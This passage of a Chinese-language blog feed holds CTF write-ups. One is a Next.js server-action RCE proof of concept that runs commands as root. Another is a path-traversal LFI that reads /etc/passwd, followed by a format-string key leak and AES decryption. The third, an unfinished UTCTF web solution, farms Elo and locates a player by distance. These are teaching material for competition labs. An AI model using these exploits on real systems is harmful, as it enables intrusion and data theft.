        &amp;quot;_prefix&amp;quot;: f&amp;quot;var res = process.mainModule.require(&amp;#39;child_process&amp;#39;).execSync(&amp;#39;{EXECUTABLE}&amp;#39;,{{&amp;#39;timeout&amp;#39;:5000}}).toString().trim(); throw Object.assign(new Error(&amp;#39;NEXT_REDIRECT&amp;#39;), {{digest:`${{res}}`}});&amp;quot;,
        # If you don&amp;#39;t need the command output, you can use this line instead:
        # &amp;quot;_prefix&amp;quot;: f&amp;quot;process.mainModule.require(&amp;#39;child_process&amp;#39;).execSync(&amp;#39;{EXECUTABLE}&amp;#39;);&amp;quot;,
        &amp;quot;_formData&amp;quot;: {
            &amp;quot;get&amp;quot;: &amp;quot;$1:constructor:constructor&amp;quot;,
        },
    },
}

files = {
    &amp;quot;0&amp;quot;: (None, json.dumps(crafted_chunk)),
    &amp;quot;1&amp;quot;: (None, &amp;#39;&amp;quot;$@0&amp;quot;&amp;#39;),
}

headers = {&amp;quot;Next-Action&amp;quot;: &amp;quot;x&amp;quot;}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python3 poc.py https://rpc.chainpipes.uk/ &amp;quot;id&amp;quot;

&amp;quot;&amp;gt;
  (這個是假的 Cloudflare 頁面&amp;lt;br&amp;gt;純粹是不知道偵測到駭客後要放什麼&amp;lt;br&amp;gt;所以放了這個)
&amp;lt;/h1&amp;gt;
&amp;lt;div id=&amp;quot;cf-wrapper&amp;quot;&amp;gt;
    &amp;lt;div id=&amp;quot;cf-error-details&amp;quot; class=&amp;quot;p-0&amp;quot;&amp;gt;
        &amp;lt;header class=&amp;quot;mx-auto pt-10 lg:pt-6 lg:px-8 w-240 lg:w-full mb-8&amp;quot;&amp;gt;
            &amp;lt;h1 class=&amp;quot;inline-block sm:block sm:mb-2 font-light text-60 lg:text-4xl text-black-dark leading-tight mr-2&amp;quot;&amp;gt;
                &amp;lt;span class=&amp;quot;inline-block&amp;quot;&amp;gt;Internal server error&amp;lt;/span&amp;gt;
                &amp;lt;span class=&amp;quot;code-label&amp;quot;&amp;gt;Error code 500&amp;lt;/span&amp;gt;
            &amp;lt;/h1&amp;gt;
            &amp;lt;div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;誒？！還是被擋了？然後我當初就卡在這邊繞那個檢查，完全忘記 /api 沒被擋這件事，直到 hint 給出 middleware 的實作我才想起來。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python3 poc.py https://rpc.chainpipes.uk/api &amp;quot;id&amp;quot;
/Users/soar/Library/Python/3.9/lib/python/site-packages/urllib3/__init__.py:35: NotOpenSSLWarning: urllib3 v2 only supports OpenSSL 1.1.1+, currently the &amp;#39;ssl&amp;#39; module is compiled with &amp;#39;LibreSSL 2.8.3&amp;#39;. See: https://github.com/urllib3/urllib3/issues/3020
  warnings.warn(
500
0:{&amp;quot;a&amp;quot;:&amp;quot;$@1&amp;quot;,&amp;quot;f&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;b&amp;quot;:&amp;quot;0zhF2SkV4t1SfMdgAlVR9&amp;quot;}
1:E{&amp;quot;digest&amp;quot;:&amp;quot;uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好耶！接著讀 flag 就好了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python3 poc.py https://rpc.chainpipes.uk/api &amp;quot;cat /flag&amp;quot;
/Users/soar/Library/Python/3.9/lib/python/site-packages/urllib3/__init__.py:35: NotOpenSSLWarning: urllib3 v2 only supports OpenSSL 1.1.1+, currently the &amp;#39;ssl&amp;#39; module is compiled with &amp;#39;LibreSSL 2.8.3&amp;#39;. See: https://github.com/urllib3/urllib3/issues/3020
  warnings.warn(
500
0:{&amp;quot;a&amp;quot;:&amp;quot;$@1&amp;quot;,&amp;quot;f&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;b&amp;quot;:&amp;quot;0zhF2SkV4t1SfMdgAlVR9&amp;quot;}
1:E{&amp;quot;digest&amp;quot;:&amp;quot;EOF{Fr33_EIP7702_Sc43_with_EV3_Supp0r7~}&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這題因為當初卡最後一個地方，所以提示一出來很快拿到首殺 &amp;gt;&amp;lt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;EOF{Fr33_EIP7702_Sc43_with_EV3_Supp0r7~}&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://solarfish.me/blog/ais3_eof_qual_2026/&quot;&gt;https://solarfish.me/blog/ais3_eof_qual_2026/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>solarfish</dc:creator><pubDate>Mon, 29 Dec 2025 00:00:00 GMT</pubDate></item><item><title>SCIST final CTF：OhYeahmAlwaRe Official-Writeup</title><link>https://solarfish.me/blog/scist_fin_ctf/</link><guid isPermaLink="true">https://solarfish.me/blog/scist_fin_ctf/</guid><description>SCIST final CTF 中 OhYeahmAlwaRe 的官方題解</description><content:encoded>&lt;p&gt;首先先讀一下題述，這怪怪的 &lt;code&gt;web&lt;/code&gt;,&lt;code&gt;rev&lt;/code&gt;,&lt;code&gt;crypto&lt;/code&gt;,&lt;code&gt;pwn&lt;/code&gt; 的 tag 相信&lt;del&gt;嚇了不少人&lt;/del&gt;，但其實大部分漏洞都很裸，只要會一點基本概念的話&lt;del&gt;搭配 AI&lt;/del&gt;一定解的出來 XD&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先觀察一下&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;app.py&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from flask import Flask, request, jsonify, send_file,render_template
import base64
import subprocess
import os

app = Flask(__name__)
app.static_folder = &amp;#39;static&amp;#39;
OhYeahmAlwaRe = &amp;quot;./OhYeahmAlwaRe&amp;quot;

def init_OhYeahmAlwaRe():
    subprocess.run([OhYeahmAlwaRe, &amp;quot;Oh&amp;quot;, &amp;quot;Yeah&amp;quot;, &amp;quot;CRY&amp;quot;], check=True)
    return &amp;quot;Initialization complete ✅&amp;quot;

@app.route(&amp;#39;/hacker_image&amp;#39;, methods=[&amp;#39;GET&amp;#39;])
def hacker_image():
    image = request.args.get(&amp;#39;hacker&amp;#39;)
    if not image:
        return {&amp;quot;error&amp;quot;: &amp;quot;No hacker parameter&amp;quot;}, 400

    file_path = os.path.join(os.getcwd(), &amp;quot;static&amp;quot;, &amp;quot;hacker&amp;quot;, image)

    return send_file(file_path, mimetype=&amp;#39;image/png&amp;#39;)
    
@app.route(&amp;#39;/version&amp;#39;,methods=[&amp;#39;GET&amp;#39;])
def version():
    author = request.args.get(&amp;#39;author&amp;#39;)
    if author:
        try:
            res = subprocess.run([OhYeahmAlwaRe, author],capture_output=True, text=False, check=True)
            encoded = base64.b64encode(res.stdout).decode()
            return jsonify({&amp;quot;response&amp;quot;: encoded})
        except subprocess.CalledProcessError as e:
            return jsonify({&amp;quot;error&amp;quot;: &amp;quot;Internal Server Error&amp;quot;}), 500
    return jsonify({&amp;quot;error&amp;quot;: &amp;quot;No author provided&amp;quot;}), 400

@app.route(&amp;#39;/&amp;#39;, methods=[&amp;#39;GET&amp;#39;])
def index():
    return render_template(&amp;#39;index.html&amp;#39;)    


if __name__ == &amp;#39;__main__&amp;#39;:
    init_OhYeahmAlwaRe()
    app.run(host=&amp;#39;0.0.0.0&amp;#39;, port=31614, debug=False)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Dockerfile&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;FROM ubuntu:22.04

ARG SEC_DIR
ARG FLAG

RUN apt-get update &amp;amp;&amp;amp; apt-get install -y \
    gcc \
    libssl-dev \
    python3 \
    python3-pip \
    xxd \
    &amp;amp;&amp;amp; rm -rf /var/lib/apt/lists/*

RUN useradd -m ctfuser

WORKDIR /app/${SEC_DIR}

COPY ./templates ./templates
COPY OhYeahmAlwaRe.c ./
COPY ./static ./static

RUN gcc OhYeahmAlwaRe.c -o OhYeahmAlwaRe -lcrypto

RUN head -c 32 /dev/urandom | xxd -p -c 64 &amp;gt; /root/sec.key &amp;amp;&amp;amp; chmod 400 /root/sec.key

RUN chown root:root OhYeahmAlwaRe &amp;amp;&amp;amp; chmod 4755 OhYeahmAlwaRe

COPY app.py ./app.py

RUN python3 -m pip install flask
RUN rm OhYeahmAlwaRe.c

RUN echo &amp;quot;$FLAG&amp;quot; &amp;gt; /home/flag.txt

EXPOSE 31614

USER ctfuser

CMD [&amp;quot;python3&amp;quot;, &amp;quot;app.py&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;從這邊可以觀察到幾件事情&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;伺服器一開始會啟動 OhYeahmAlwaRe 去初始化整個環境&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/hacker_image&lt;/code&gt; 的功能有 LFI 可以讓你下載檔案&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/version&lt;/code&gt; 可以讓你和 &lt;code&gt;OhYeahmAlwaRe&lt;/code&gt; 互動&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/root&lt;/code&gt; 底下有一個奇怪的 key, 但利用 LFI 讀取不了（權限不夠）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不過竟然可以下載檔案的話！那不就水題直接把 flag.txt 載下來就好？！&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;flag.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl &amp;quot;http://lab.scist.org:31614/hacker_image?hacker=../../../../../home/flag.txt&amp;quot; --path-as-is -o ./flag.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    80  100    80    0     0   2132      0 --:--:-- --:--:-- --:--:--  2162

cat flag.txt 
λp��;Xì{%OS�����CڑFi
 &amp;#39;|U?$V�?w%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;竟然是奇怪的亂碼，我們來載一下其他的檔案看看&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/etc/passwd&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl &amp;quot;http://lab.scist.org:31614/hacker_image?hacker=../../../../../etc/passwd&amp;quot; --path-as-is -o ./passwd
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   976  100   976    0     0  26795      0 --:--:-- --:--:-- --:--:-- 27111

cat passwd
!:d5�)�P�itM�m֖l){q��,r%g�L�*NƦqt%;e�#{�U��oC_�y�3__sH��C&amp;lt;�2FD;9]c:N)^wҩٗ/k
F�\ش��еVIzҦt{V�-��ւ�-�es}ʾKܭ�1$&amp;quot;�/�´]P�|K�/u_2�n`0׾�ߟN:)&amp;quot;7&amp;#39;g#͇��8�:@[gY�	�d�xv˧O�� &amp;quot;�g�y*#+Zq��,�
�&amp;quot;�&amp;#39;��etSHP��h
              �N�ψ&amp;#39;g-���8 �%�jc^��z�7,a[OPONs{x
                                               k¯H�֥Si��cAMben@u@@6���\^qPz?9ώץ�0�㈌����1�
��lR��1�tU�Wlʎhڹם}Ù7)���]��%D1�dqQˬxe�X{Kxi}!���                                         e#�
                                                P7q�PQ�4Wo�V#ڔ�F;H_��.C$��І=yc�(@��A	,MnL�������Q��c(4*ډ�&amp;gt;]ߎ&amp;quot;1רn��pkR
                                                                                                                        ���h0�wڤ̇u	/!2�G�ǐ�Y(�ǭZ�߀!,햱��J���]T�ǀ%   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也是相同的結果，會不會其實所有檔案都被加密了？
那我們把最奇怪的 OhYeahmAlwaRe 下載來分析一下吧！&lt;/p&gt;
&lt;p&gt;但這邊有個技巧，在 Dockerfile 中你不知道 OhYeahmAlwaRe 跑的確切位置，但你可以用一個特別的路徑 &lt;code&gt;/proc/self/cwd&lt;/code&gt; 去訪問到 web server 當前跑的目錄！！&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl &amp;quot;http://lab.scist.org:31614/hacker_image?hacker=../../../../../proc/self/cwd/OhYeahmAlwaRe&amp;quot; --path-as-is -o ./OhYeahmAlwaRe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 17248  100 17248    0     0   388k      0 --:--:-- --:--:-- --:--:--  391k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;好耶！我們直接開 &lt;code&gt;IDA&lt;/code&gt; 來分析吧！&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;main&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [rsp+10h] [rbp-40h]
  FILE *v5; // [rsp+18h] [rbp-38h]
  _BYTE v6[40]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  if ( argc == 4 &amp;amp;&amp;amp; !strcmp(argv[1], &amp;quot;Oh&amp;quot;) &amp;amp;&amp;amp; !strcmp(argv[2], &amp;quot;Yeah&amp;quot;) &amp;amp;&amp;amp; !strcmp(argv[3], &amp;quot;CRY&amp;quot;) )
  {
    stream = fopen(&amp;quot;/root/sec.key&amp;quot;, &amp;quot;r&amp;quot;);
    if ( stream )
    {
      fread(&amp;amp;key_hex, 1uLL, 0x40uLL, stream);
      byte_4080 = 0;
      fclose(stream);
      hex_to_bytes(&amp;amp;key_hex, v6, 32LL);
      encrypt_all_files((__int64)v6);
      return 0;
    }
    else
    {
      return 1;
    }
  }
  else if ( argc == 2 )
  {
    v5 = fopen(&amp;quot;/root/sec.key&amp;quot;, &amp;quot;r&amp;quot;);
    if ( v5 )
    {
      fread(&amp;amp;key_hex, 1uLL, 0x40uLL, v5);
      byte_4080 = 0;
      fclose(v5);
      hex_to_bytes(&amp;amp;key_hex, v6, 32LL);
      show_author(argv[1]);
      return 0;
    }
    else
    {
      return 1;
    }
  }
  else
  {
    return 1;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先可以看到他主要有兩個功能，當使用 &lt;code&gt;./OhYeahmAlwaRe Oh Yeah CRY&lt;/code&gt; 的時候看起來會加密檔案，讓我們追進去看看他怎麼做的！&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;encrypt_all_files&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;unsigned __int64 __fastcall encrypt_all_files(__int64 a1)
{
  DIR *dirp; // [rsp+10h] [rbp-1020h]
  struct dirent *v3; // [rsp+18h] [rbp-1018h]
  char s[16]; // [rsp+20h] [rbp-1010h] BYREF
  unsigned __int64 v5; // [rsp+1028h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  dirp = opendir(&amp;quot;/&amp;quot;);
  if ( dirp )
  {
    while ( 1 )
    {
      v3 = readdir(dirp);
      if ( !v3 )
        break;
      if ( strcmp(v3-&amp;gt;d_name, &amp;quot;.&amp;quot;) )
      {
        if ( strcmp(v3-&amp;gt;d_name, &amp;quot;..&amp;quot;) )
        {
          snprintf(s, 0x1000uLL, &amp;quot;/%s&amp;quot;, v3-&amp;gt;d_name);
          if ( !(unsigned int)should_skip_path(s) )
            encrypt_file(s, a1);
        }
      }
    }
    closedir(dirp);
  }
  return v5 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這邊就是在選定幾乎所有檔案然後去加密&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;encrypt_file&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;unsigned __int64 __fastcall encrypt_file(const char *a1, __int64 a2)
{
  __int64 v2; // rax
  __int64 i; // [rsp+18h] [rbp-11E8h]
  FILE *stream; // [rsp+20h] [rbp-11E0h]
  __int64 n; // [rsp+28h] [rbp-11D8h]
  __int64 size; // [rsp+30h] [rbp-11D0h]
  void *ptr; // [rsp+38h] [rbp-11C8h]
  void *v9; // [rsp+40h] [rbp-11C0h]
  FILE *v10; // [rsp+48h] [rbp-11B8h]
  DIR *dirp; // [rsp+50h] [rbp-11B0h]
  struct dirent *v12; // [rsp+58h] [rbp-11A8h]
  stat buf; // [rsp+60h] [rbp-11A0h] BYREF
  char s[16]; // [rsp+1F0h] [rbp-1010h] BYREF
  unsigned __int64 v15; // [rsp+11F8h] [rbp-8h]

  v15 = __readfsqword(0x28u);
  if ( !(unsigned int)should_skip_path(a1) &amp;amp;&amp;amp; lstat(a1, &amp;amp;buf) != -1 )
  {
    if ( (buf.st_mode &amp;amp; 0xF000) == 0x4000 )
    {
      dirp = opendir(a1);
      if ( dirp )
      {
        while ( 1 )
        {
          v12 = readdir(dirp);
          if ( !v12 )
            break;
          if ( strcmp(v12-&amp;gt;d_name, &amp;quot;.&amp;quot;) )
          {
            if ( strcmp(v12-&amp;gt;d_name, &amp;quot;..&amp;quot;) )
            {
              snprintf(s, 0x1000uLL, &amp;quot;%s/%s&amp;quot;, a1, v12-&amp;gt;d_name);
              if ( !(unsigned int)should_skip_path(s) )
                encrypt_file(s, a2);
            }
          }
        }
        closedir(dirp);
      }
    }
    else if ( (buf.st_mode &amp;amp; 0xF000) == 0x8000 )
    {
      stream = fopen(a1, &amp;quot;rb&amp;quot;);
      if ( stream )
      {
        fseek(stream, 0LL, 2);
        n = ftell(stream);
        rewind(stream);
        if ( n )
        {
          v2 = n + 15;
          if ( n + 15 &amp;lt; 0 )
            v2 = n + 30;
          size = 16 * (v2 &amp;gt;&amp;gt; 4);
          ptr = calloc(1uLL, size);
          fread(ptr, 1uLL, n, stream);
          fclose(stream);
          v9 = malloc(size);
          AES_set_encrypt_key();
          for ( i = 0LL; i &amp;lt; size; i += 16LL )
            AES_ecb_encrypt();
          v10 = fopen(a1, &amp;quot;wb&amp;quot;);
          if ( v10 )
          {
            fwrite(v9, 1uLL, size, v10);
            fclose(v10);
          }
          free(ptr);
          free(v9);
        }
        else
        {
          fclose(stream);
        }
      }
    }
  }
  return v15 - __readfsqword(0x28u);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這邊主要是實作的地方，可以看到他是用 AES-ECB-256 加密的（可以從前面看到他讀進來的金鑰是 32 位元）。&lt;/p&gt;
&lt;p&gt;另外在只有給定一個參數時，有一個很明顯的 fmt 漏洞，所以我們的目標就很明確了，可以利用這個 fmt 漏洞去 leak 我們的 key.&lt;/p&gt;
&lt;p&gt;可以使用 gdb 去看 stack 上的位置或是有人暴力炸也可以！&lt;/p&gt;
&lt;p&gt;透過 &lt;code&gt;/version&lt;/code&gt; 就可以去跟 binary 互動了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;%2514$p%20%2515$p%20%2516$p%20%2517$p

Powered by 
0xc1c767de2b0fd95b 0x8d578ad7879f4133 0x57ca5c137fba6298 0x350e39b09bc06a3e
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我們可以用這個 payload 去 leak 出 key （&lt;code&gt;%&lt;/code&gt; 記得要 url encode 成 &lt;code&gt;%25&lt;/code&gt; 不然會壞掉）&lt;/p&gt;
&lt;p&gt;最後就寫腳本解回來就好了！&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from Crypto.Cipher import AES

def flag():
    key_parts = [
        0xc1c767de2b0fd95b,
        0x8d578ad7879f4133,
        0x57ca5c137fba6298,
        0x350e39b09bc06a3e
    ]

    key = b&amp;#39;&amp;#39;
    for part in key_parts:
        key += part.to_bytes(8, &amp;#39;little&amp;#39;)
    enc = &amp;#39;./flag.txt&amp;#39;

    with open(enc, &amp;#39;rb&amp;#39;) as f:
        ciphertext = f.read()
    cipher = AES.new(key, AES.MODE_ECB)

    print(cipher.decrypt(ciphertext).decode())

if __name__ == &amp;#39;__main__&amp;#39;:
    flag()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python3 de.py
SCIST{UNLe55_KEY_s000Ar_E45y_I_WILl_4dd_M0Re_cRyP70_Nex7_7ImE-!.maybe.+_+}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;SCIST{UNLe55_KEY_s000Ar_E45y_I_WILl_4dd_M0Re_cRyP70_Nex7_7ImE-!.maybe.+_+}&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://solarfish.me/blog/scist_fin_ctf/&quot;&gt;https://solarfish.me/blog/scist_fin_ctf/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>solarfish</dc:creator><pubDate>Thu, 25 Sep 2025 00:00:00 GMT</pubDate></item><item><title>utctf 2025 Web Writeup</title><link>https://solarfish.me/blog/utctf2025/</link><guid isPermaLink="true">https://solarfish.me/blog/utctf2025/</guid><description>跟 OhYeahSeC 打的一場，解了一點 Web 題目。</description><content:encoded>&lt;h2&gt;Web&lt;/h2&gt;
&lt;h3&gt;Number Champion&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;The number 1 player in this game, geopy hit 3000 elo last week. I want to figure out where they train to be the best.

Flag is the address of this player (according to google maps), in the following format all lowercase:

utflag{&amp;lt;street-address&amp;gt;-&amp;lt;city&amp;gt;-&amp;lt;zip-code&amp;gt;}

For example, if the address is 110 Inner Campus Drive, Austin, TX 78705, the flag would be utflag{110-inner-campus-drive-austin-78705}

By Samintell (@Samintell on discord)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;感覺有點抽象，來看看題目吧。&lt;/p&gt;
&lt;p&gt;首先進來之後，可以看到題目會嘗試取得我們地理位置。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/Bkcd-xHhyx.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;同意之後你可以配對對手然後跟他們 battle 數字大小。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/Hy2oWxShyl.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;但玩過幾輪過後會發現，你今天不管輸入多大，多奇怪的數字你都是必輸的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/HJdA-xr2kl.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;感覺看不出甚麼東西，我們嘗試用 burp suite 看看有沒有特別的。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;總共有這三個 route &lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;register&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;POST /register?lat=25.0353635&amp;amp;lon=121.5712388 HTTP/1.1
Host: numberchamp-challenge.utctf.live
Accept: */*
Accept-Language: en-US,en;q=0.9,zh-TW;q=0.8,zh;q=0.7
Content-Length: 0
Origin: https://numberchamp-challenge.utctf.live
Priority: u=1, i
Referer: https://numberchamp-challenge.utctf.live/
Sec-Ch-Ua: &amp;quot;Chromium&amp;quot;;v=&amp;quot;134&amp;quot;, &amp;quot;Not:A-Brand&amp;quot;;v=&amp;quot;24&amp;quot;, &amp;quot;Google Chrome&amp;quot;;v=&amp;quot;134&amp;quot;
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: &amp;quot;Windows&amp;quot;
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;測試一下，不管經緯度如何，給出來的都是不同的 uuid，然後初始分數都是 1000 分&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-jsonld!&quot;&gt;{&amp;quot;elo&amp;quot;:1000,&amp;quot;user&amp;quot;:&amp;quot;Diorite Hummingbird 919&amp;quot;,&amp;quot;uuid&amp;quot;:&amp;quot;5b0b00f0-6ed6-46c7-878d-343263dbcb75&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;match&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;這個了話會給你跟對手的 distance (實際距離)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;POST /match?uuid=c5abc7ad-c2b4-43bd-bdb7-8f5dc0e465fa&amp;amp;lat=25.0353635&amp;amp;lon=121.5712388 HTTP/2
Host: numberchamp-challenge.utctf.live
Accept: */*
Accept-Language: en-US,en;q=0.9,zh-TW;q=0.8,zh;q=0.7
Content-Length: 0
Origin: https://numberchamp-challenge.utctf.live
Priority: u=1, i
Referer: https://numberchamp-challenge.utctf.live/
Sec-Ch-Ua: &amp;quot;Chromium&amp;quot;;v=&amp;quot;134&amp;quot;, &amp;quot;Not:A-Brand&amp;quot;;v=&amp;quot;24&amp;quot;, &amp;quot;Google Chrome&amp;quot;;v=&amp;quot;134&amp;quot;
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: &amp;quot;Windows&amp;quot;
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-jsonld&quot;&gt;{&amp;quot;distance&amp;quot;:7825.89656037577,&amp;quot;elo&amp;quot;:971,&amp;quot;user&amp;quot;:&amp;quot;Schist Darter 701&amp;quot;,&amp;quot;uuid&amp;quot;:&amp;quot;5dead638-9271-4c61-8b20-d4a2381f6483&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;battle&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最後的話是指定兩個 uuid 互相對戰，但你必輸&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;POST /battle?uuid=c5abc7ad-c2b4-43bd-bdb7-8f5dc0e465fa&amp;amp;opponent=6663a74f-d6d3-465f-9b8b-e819cdad5a16&amp;amp;number=123 HTTP/2
Host: numberchamp-challenge.utctf.live
Accept: */*
Accept-Language: en-US,en;q=0.9,zh-TW;q=0.8,zh;q=0.7
Content-Length: 0
Origin: https://numberchamp-challenge.utctf.live
Priority: u=1, i
Referer: https://numberchamp-challenge.utctf.live/
Sec-Ch-Ua: &amp;quot;Chromium&amp;quot;;v=&amp;quot;134&amp;quot;, &amp;quot;Not:A-Brand&amp;quot;;v=&amp;quot;24&amp;quot;, &amp;quot;Google Chrome&amp;quot;;v=&amp;quot;134&amp;quot;
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: &amp;quot;Windows&amp;quot;
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-jsonld&quot;&gt;{&amp;quot;elo&amp;quot;:960,&amp;quot;opponent_number&amp;quot;:6028,&amp;quot;result&amp;quot;:&amp;quot;loss&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到這邊後，會去看看題述，可以知道我們要想辦法超過三千分。
但你有發現嗎，今天我們可以任意註冊帳號，又可以指定兩個人對戰。
我們是不是可以先指定一個帳號，然後開很多帳號輸給他，就可以拿到 3000 分了。&lt;/p&gt;
&lt;p&gt;&lt;del&gt;( 但我後來發現一件事就是我指定兩個相同的帳號刷更快 )&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;好，刷到 3000 分後我們回到 match 那邊看看&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;POST /match?uuid=5b0b00f0-6ed6-46c7-878d-343263dbcb75&amp;amp;lat=25.0353635&amp;amp;lon=121.5712388

{&amp;quot;distance&amp;quot;:7689.855053589143,&amp;quot;elo&amp;quot;:3000,&amp;quot;user&amp;quot;:&amp;quot;geopy&amp;quot;,&amp;quot;uuid&amp;quot;:&amp;quot;d0f627bc-ac15-4d45-8e08-73ee3b5fd06c&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;給出目標的 distance 了! 這時候只要修改經緯度，找到 &lt;code&gt;geopy&lt;/code&gt; 這個人在那裡就好了!&lt;/li&gt;
&lt;/ul&gt;
